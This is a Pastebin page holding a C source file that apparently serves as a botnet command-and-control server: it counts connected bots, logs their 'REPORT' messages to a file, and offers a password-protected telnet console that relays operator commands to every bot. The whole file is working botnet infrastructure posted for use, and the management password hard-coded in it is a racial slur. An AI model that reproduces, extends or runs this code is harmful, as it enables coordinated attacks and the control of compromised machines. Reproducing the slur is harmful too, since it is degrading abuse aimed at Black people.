SHARE
TWEET

server.c

wtfbbq May 25th, 2017 1,053 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <sys/types.h>
  5. #include <sys/socket.h>
  6. #include <netdb.h>
  7. #include <unistd.h>
  8. #include <time.h>
  9. #include <fcntl.h>
  10. #include <sys/epoll.h>
  11. #include <errno.h>
  12. #include <pthread.h>
  13. #include <signal.h>
  14. #define MY_MGM_PASS "nigger"
  15. #define MY_MGM_PORT 8888
  16. #define MAXFDS 1000000
  17. struct clientdata_t { uint32_t ip; char build[7]; char connected; } clients[MAXFDS];
  18. struct telnetdata_t { int connected; } managements[MAXFDS];
  19. static volatile FILE *fileFD;
  20. static volatile int epollFD = 0;
  21. static volatile int listenFD = 0;
  22. static volatile int managesConnected = 0;
  23. int fdgets(unsigned char *buffer, int bufferSize, int fd) {
  24.         int total = 0, got = 1;
  25.         while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  26.         return got; }
  27. void trim(char *str) {
  28.     int i;
  29.     int begin = 0;
  30.     int end = strlen(str) - 1;
  31.     while (isspace(str[begin])) begin++;
  32.     while ((end >= begin) && isspace(str[end])) end--;
  33.     for (i = begin; i <= end; i++) str[i - begin] = str[i];
  34.     str[i - begin] = '\0'; }
  35. static int make_socket_non_blocking (int sfd)
  36. {
  37.         int flags, s;
  38.         flags = fcntl (sfd, F_GETFL, 0);
  39.         if (flags == -1) { perror ("fcntl"); return -1; }
  40.         flags |= O_NONBLOCK;
  41.         s = fcntl (sfd, F_SETFL, flags);
  42.         if (s == -1) { perror ("fcntl"); return -1; }
  43.         return 0; }
  44. static int create_and_bind (char *port)
  45. {
  46.         struct addrinfo hints;
  47.         struct addrinfo *result, *rp;
  48.         int s, sfd;
  49.         memset (&hints, 0, sizeof (struct addrinfo));
  50.         hints.ai_family = AF_UNSPEC;    
  51.         hints.ai_socktype = SOCK_STREAM;
  52.         hints.ai_flags = AI_PASSIVE;
  53.         s = getaddrinfo (NULL, port, &hints, &result);
  54.         if (s != 0) { fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s)); return -1; }
  55.         for (rp = result; rp != NULL; rp = rp->ai_next) {
  56.         sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  57.         if (sfd == -1) continue;
  58.         int yes = 1;
  59.         if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  60.         s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  61.         if (s == 0) {
  62.         break; }
  63.         close (sfd); }
  64.         if (rp == NULL) { fprintf (stderr, "Could not bind\n"); return -1; }
  65.         freeaddrinfo (result);
  66.         return sfd;
  67. }
  68. void broadcast(char *msg, int us)
  69. {
  70.         int sendMGM = 1;
  71.         if(strcmp(msg, "PING") == 0) sendMGM = 0;
  72.         char *wot = malloc(strlen(msg) + 10);
  73.         memset(wot, 0, strlen(msg) + 10);
  74.         strcpy(wot, msg);
  75.         trim(wot);
  76.         time_t rawtime;
  77.         struct tm * timeinfo;
  78.         time(&rawtime);
  79.         timeinfo = localtime(&rawtime);
  80.         char *timestamp = asctime(timeinfo);
  81.         trim(timestamp);
  82.         int i;
  83.         for(i = 0; i < MAXFDS; i++) {
  84.         if(i == us || (!clients[i].connected &&  (sendMGM == 0 || !managements[i].connected))) continue;
  85.         if(sendMGM && managements[i].connected) {
  86.         send(i, "\x1b[33m", 5, MSG_NOSIGNAL);
  87.         send(i, timestamp, strlen(timestamp), MSG_NOSIGNAL);
  88.         send(i, ": ", 2, MSG_NOSIGNAL); }
  89.         printf("sent to fd: %d\n", i);
  90.         send(i, msg, strlen(msg), MSG_NOSIGNAL);
  91.         if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[31m> \x1b[0m", 13, MSG_NOSIGNAL);
  92.         else send(i, "\n", 1, MSG_NOSIGNAL); }
  93.         free(wot);
  94. }
  95. void *epollEventLoop(void *useless)
  96. {
  97.         struct epoll_event event;
  98.         struct epoll_event *events;
  99.         int s;
  100.         events = calloc (MAXFDS, sizeof event);
  101.         while (1) {
  102.         int n, i;
  103.         n = epoll_wait (epollFD, events, MAXFDS, -1);
  104.         for (i = 0; i < n; i++) {
  105.         if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) {
  106.         clients[events[i].data.fd].connected = 0;
  107.         close(events[i].data.fd);
  108.         continue; }
  109.         else if (listenFD == events[i].data.fd) {
  110.         while (1) {
  111.         struct sockaddr in_addr;
  112.         socklen_t in_len;
  113.         int infd, ipIndex;
  114.         in_len = sizeof in_addr;
  115.         infd = accept (listenFD, &in_addr, &in_len);
  116.         if (infd == -1) {
  117.         if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break; else { perror ("accept"); break; } }
  118.         clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  119.         int dup = 0;
  120.         for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) {
  121.         if(!clients[ipIndex].connected || ipIndex == infd) continue;
  122.         if(clients[ipIndex].ip == clients[infd].ip) { dup = 1; break; } }
  123.         if(dup) {
  124.         printf("dup client\n");
  125.         if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  126.         if(send(infd, "DUP\n", 4, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  127.         close(infd);
  128.         continue; }
  129.         s = make_socket_non_blocking (infd);
  130.         if (s == -1) { close(infd); break; }
  131.         event.data.fd = infd;
  132.         event.events = EPOLLIN | EPOLLET;
  133.         s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  134.         if (s == -1) { perror ("epoll_ctl"); close(infd); break; }
  135.         clients[infd].connected = 1; }
  136.         continue; }
  137.         else {
  138.         int thefd = events[i].data.fd;
  139.         struct clientdata_t *client = &(clients[thefd]);
  140.         int done = 0;
  141.         client->connected = 1;
  142.         while (1) {
  143.         ssize_t count;
  144.         char buf[2048];
  145.         memset(buf, 0, sizeof buf);
  146.         while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0) {
  147.         if(strstr(buf, "\n") == NULL) { done = 1; break; }
  148.         trim(buf);
  149.         if(strcmp(buf, "PING") == 0) {
  150.         if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  151.         continue; }
  152.         if(strstr(buf, "REPORT ") == buf) {
  153.         char *line = strstr(buf, "REPORT ") + 7;
  154.         fprintf(fileFD, "%s\n", line);
  155.         fflush(fileFD);
  156.         continue; }
  157.         if(strcmp(buf, "PONG") == 0) { continue; }
  158.         printf("buf: \"%s\"\n", buf); }
  159.         if (count == -1) { if (errno != EAGAIN) {
  160.         done = 1; }
  161.         break; }
  162.         else if (count == 0) {
  163.         done = 1;
  164.         break; } }
  165.         if (done) { client->connected = 0; close(thefd); } } } }
  166. }
  167. unsigned int clientsConnected()
  168. {
  169.         int i = 0, total = 0;
  170.         for(i = 0; i < MAXFDS; i++) { if(!clients[i].connected) continue; total++; }
  171.         return total;
  172. }
  173. void *titleWriter(void *sock)
  174. {
  175.         int thefd = (int)sock;
  176.         char string[2048];
  177.         while(1) {
  178.         memset(string, 0, 2048);
  179.         sprintf(string, "%c]0;Bots connected: %d | Clients connected: %d%c", '\033', clientsConnected(), managesConnected, '\007');
  180.         if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  181.         sleep(2); }
  182. }
  183. void *telnetWorker(void *sock)
  184. {
  185.         int thefd = (int)sock;
  186.         managesConnected++;
  187.         pthread_t title;
  188.         char buf[2048];
  189.         memset(buf, 0, sizeof buf);
  190.         if(send(thefd, "Login: ", 7, MSG_NOSIGNAL) == -1) goto end;
  191.         if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  192.         trim(buf);
  193.         if(strcmp(buf, MY_MGM_PASS) != 0) goto end;
  194.         memset(buf, 0, 2048);
  195.         if(send(thefd, "\033[1A", 4, MSG_NOSIGNAL) == -1) goto end;
  196.         pthread_create(&title, NULL, &titleWriter, sock);
  197.         if(send(thefd, "\x1b[31m*****************************************\r\n", 48, MSG_NOSIGNAL) == -1) goto end;
  198.         if(send(thefd, "*        WELCOME TO THE BALL PIT        *\r\n", 43, MSG_NOSIGNAL) == -1) goto end;
  199.         if(send(thefd, "*     Now with \x1b[32mrefrigerator\x1b[31m support     *\r\n", 53, MSG_NOSIGNAL) == -1) goto end;
  200.         if(send(thefd, "*****************************************\r\n\r\n> \x1b[0m", 51, MSG_NOSIGNAL) == -1) goto end;
  201.         managements[thefd].connected = 1;
  202.         while(fdgets(buf, sizeof buf, thefd) > 0) {
  203.         trim(buf);
  204.         if(send(thefd, "\x1b[31m> \x1b[0m", 11, MSG_NOSIGNAL) == -1) goto end;
  205.         if(strlen(buf) == 0) continue;
  206.         broadcast(buf, thefd);
  207.         memset(buf, 0, 2048); }
  208.         end:
  209.         managements[thefd].connected = 0;
  210.         close(thefd);
  211.         managesConnected--;
  212. }
  213. void *telnetListener(void *useless)
  214. {
  215.         int sockfd, newsockfd;
  216.         socklen_t clilen;
  217.         struct sockaddr_in serv_addr, cli_addr;
  218.         sockfd = socket(AF_INET, SOCK_STREAM, 0);
  219.         if (sockfd < 0) perror("ERROR opening socket");
  220.         bzero((char *) &serv_addr, sizeof(serv_addr));
  221.         serv_addr.sin_family = AF_INET;
  222.         serv_addr.sin_addr.s_addr = INADDR_ANY;
  223.         serv_addr.sin_port = htons(MY_MGM_PORT);
  224.         if (bind(sockfd, (struct sockaddr *) &serv_addr,  sizeof(serv_addr)) < 0) perror("ERROR on binding");
  225.         listen(sockfd,5);
  226.         clilen = sizeof(cli_addr);
  227.         while(1) {
  228.         newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  229.         if (newsockfd < 0) perror("ERROR on accept");
  230.         pthread_t thread;
  231.         pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd); }
  232. }
  233. int main (int argc, char *argv[])
  234. {
  235.         signal(SIGPIPE, SIG_IGN);
  236.         int s, threads;
  237.         struct epoll_event event;
  238.         if (argc != 3) {
  239.         fprintf (stderr, "Usage: %s [port] [threads]\n", argv[0]);
  240.         exit (EXIT_FAILURE); }
  241.         fileFD = fopen("output.txt", "a+");
  242.         threads = atoi(argv[2]);
  243.         listenFD = create_and_bind (argv[1]);
  244.         if (listenFD == -1) abort ();
  245.         s = make_socket_non_blocking (listenFD);
  246.         if (s == -1) abort ();
  247.         s = listen (listenFD, SOMAXCONN);
  248.         if (s == -1) { perror ("listen"); abort (); }
  249.         epollFD = epoll_create1 (0);
  250.         if (epollFD == -1) { perror ("epoll_create"); abort (); }
  251.         event.data.fd = listenFD;
  252.         event.events = EPOLLIN | EPOLLET;
  253.         s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  254.         if (s == -1) { perror ("epoll_ctl"); abort (); }
  255.         pthread_t thread[threads + 2];
  256.         while(threads--) { pthread_create( &thread[threads + 1], NULL, &epollEventLoop, (void *) NULL); }
  257.         pthread_create(&thread[0], NULL, &telnetListener, (void *)NULL);
  258.         while(1) { broadcast("PING", -1); sleep(60); }
  259.         close (listenFD);
  260.         return EXIT_SUCCESS;
  261. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top